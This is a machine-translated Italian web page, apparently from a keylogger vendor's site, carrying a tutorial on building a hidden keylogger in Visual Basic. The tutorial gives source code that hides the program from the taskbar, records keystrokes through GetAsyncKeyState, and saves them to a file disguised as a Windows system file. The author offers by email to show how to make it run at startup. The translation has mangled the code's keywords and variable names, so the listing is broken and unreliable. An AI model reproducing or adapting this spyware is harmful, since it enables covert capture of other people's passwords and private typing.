This is a machine translation. The original page (in English) is available here.
Windows
Mac OS
Mobile

Ultime notizie: 12 novembre, 2016 - Abbiamo trovato un nuovo non rilevabile Registratore di tasti per voi. Feed RSS

Home>Articoli>la Creazione di un Registratore di tasti in VB

AnyKeylogger per Mac

La creazione di un Registratore di tasti in VB

by Silent Shadow

Ok...io parto dal presupposto che avere una comprensione di base di come visual basic funziona e come fare programmi, eseguire il debug e compila. Se non, e-mail me e io possa essere in grado di aiutare.

Primo, se non si dispone di esso, ottenere. ApiGuide. Scarica a http://www.mentalis.org/agnet/apiguide.shtml

Ok. Aprire visual basic e avvio di una nuova applicazione. Aggiungere al form un pulsante, un timer e un modulo(so che il modulo non è in realtà parte di un form). Questo è tutto. Il cambiamento didascalia del pulsante per Avviare la Registrazione
(se si desidera farlo partire all'avvio...pm a me o e-mail me)
Ora che usando le api di guida o semplicemente copiando da qui, dichiarare una nuova funzione. la funzione GetASyncKeyState

Dichiarare la Funzione GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
(ByVal vKey As Long) As Integer

^---mettere questo nella sezione dichiarazioni del modulo.

Che è tutta una riga di codice. Assicurarsi che il suo simile. e non dividere in 2.

Ora avete una nuova funzione, l'uso di attraverso il vostro programma.
ok...
ora dobbiamo fare è essere "invisibile". Ora mi dispiace ma in Windows XP, non so come rimuoverlo dal "processi" del Task Manager. Ma più che Altro...la sua invisibile.

OK. Nel codice del pulsante..., nell'evento click di un corso di...
digitare il seguente

app.taskvisible = false
form1.visible = false
form1.nascondi
timer1.enabled = true


'e anche nella sezione proprietà del form...modificare il shownintaskbar false

Ora, quando si clicca il pulsante...va invisibile.

Ora stiamo andando a bisogno di alcune variabili....
Torna nella sezione dichiarazioni dichiarare le seguenti...

Dim strLetter come Stringa, strTotal come Stringa

Ora il timer codice di mettere questo. Spiegherò in seguito.
inoltre, impostare l'intervallo di 1 e enabled a false

Private Sub Timer1_Timer()

Per I = 28 Di 128

Se GetAsyncKeyState <> 0 Then

strLetter = Chr(mi)


"Ora, qui, è possibile aggiungere alcune cose
e 'così che invece di visualizzare
ritardato personaggi, che ti dice
'quello che l'utente ha premuto. Quello che voglio dire
'se si preme Invio, verrà
'Mostra qualche strana scatola. Non volete che
'u fare un select case circa per ogni
il tasto 'u desidera personalizzare. PM me o e-Mail
'a me per un aiuto su questa parte.


strTotal = strTotal & strLetter


End If

Next I

aprire "C:\Windows\SysResources.DAT" for output as #1
Print #1, strTotal
close #1

End Sub


'Il Codice

Ora tutto quello che dovete fare è quando si desidera controllare i tasti premuti, aprire C:\Windows\SysResource.DAT nel blocco note, e non c'è. Questo programma non verrà eseguito in fase di start up. Se volete sapere come fare, PM me, ma preferibilmente per e-mail a me. Mi sarebbe molto meglio avere mi aggiungi a Msn Messenger. La mia e-mail per messenger è... [email protected]
La mia e-mail per inviare e-mail è..... [email protected].

Spero che questo aiuta!
Qui è l'intero che codifica per la lamers...

'INIZIO

Dim strLetter Come Stringa, strTotal Come Stringa, vecchio come stringa

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Form_Load()
Command1.Caption = "Start Login"
Timer1.Enabled = False
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()
Per I = 28 Di 128 'codice ASCII
Se GetAsyncKeyState <> 0 Then
strLetter = Chr(mi)
End If
Se strletter <> Allora
Vecchio = strletter
strTotal = strTotal & old
End If
Next I
Aprire "C:\windows\SysResources.dat" For Output As #1
Print #1, strTotal
Close #1
End Sub

'FINALE

penso che è oltre i Modulo del corso.
Leggi l'articolo completo
Home>Articoli>la Creazione di un Registratore di tasti in VB
IMPORTANTE! Computer di installazione di strumenti di monitoraggio sui computer che non possiedono o non hai il permesso di monitorare può violare locali, statali o federali.
Suggest translation